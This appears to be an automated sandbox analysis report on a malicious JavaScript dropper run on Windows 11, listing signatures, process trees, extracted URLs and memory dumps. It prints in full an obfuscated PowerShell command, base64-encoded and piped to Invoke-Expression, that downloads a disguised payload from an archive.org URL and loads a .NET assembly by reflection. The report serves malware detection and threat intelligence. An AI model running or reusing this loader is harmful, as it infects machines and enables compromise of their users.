Analysis
- max time kernel
148s - max time network
111s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 19:32
General
- Target jaffacakes118_8a6ffe2b4b6afc474c5201f1a3f80af834a87669331c26555779e982c8f7ddec.js
- Size 6.1MB
- Sample260910-x85keaed74
- SHA256 8a6ffe2b4b6afc474c5201f1a3f80af834a87669331c26555779e982c8f7ddec
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://archive.org/download/optimized_msi_20251201/optimized_MSI.png
-
exe.dropper
http://archive.org/download/optimized_msi_20251201/optimized_MSI.png
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_8a6ffe2b4b6afc474c5201f1a3f80af834a87669331c26555779e982c8f7ddec.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGNsYXNzaWNzID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRjbGFzc2ljcy5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokY2xhc3NpY3MuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRjbGFzc2ljcy5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokcGhpbGF0ZWx5ID0gJ2h0dHA6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9vcHRpbWl6ZWRfbXNpXzIwMjUxMjAxL29wdGltaXplZF9NU0kucG5nJzsNCiRjb21tYXRlcmlhbGl0eSA9ICRjbGFzc2ljcy5Eb3dubG9hZERhdGEoJHBoaWxhdGVseSk7DQokbWlydGggID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRjb21tYXRlcmlhbGl0eSk7DQppZiAoJG1pcnRoIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKSB7DQogICRjb25mbGljdCA9ICRtYXRjaGVzWzFdOw0KICAkS2hhcmlib2xpID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkY29uZmxpY3QpKTsNCiAgW0NsYXNzTGlicmFyeTEuQ2xhc3MxXTo6VkFJKCcwaEhkdU0zYjA1V1p0VjNZdlJVYlc5U1kwVkdjeUYyWQoNd0lUSmhaWFoxNTBMbkozYnVNbmJrdDJZMVJtTHZCWFl6Tkhjd0YyY3lWbWRwSkhaemQzYms1V2EzQkhhd1IzY3ZoMkx2b0RjMFJIYScsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnTVNCdWlsZCcsJycsJ01TQnVpbGQnLCcnLCdVUkwnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2pzJywnMScsJycsJ1Rhc2tfTmFtZScsJzEnLCcnLCcnLCcnKTsNCn0=')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5464-0-0x00007FF8C75DF000-0x00007FF8C75E0000-memory.dmp
memory/5464-1-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-4-0x000002E463BD0000-0x000002E463BF2000-memory.dmp
memory/5464-5-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-7-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-6-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-8-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-9-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-10-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-11-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-12-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-13-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-14-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-15-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-16-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-17-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp
memory/5464-19-0x00007FF8C7450000-0x00007FF8C7DF4000-memory.dmp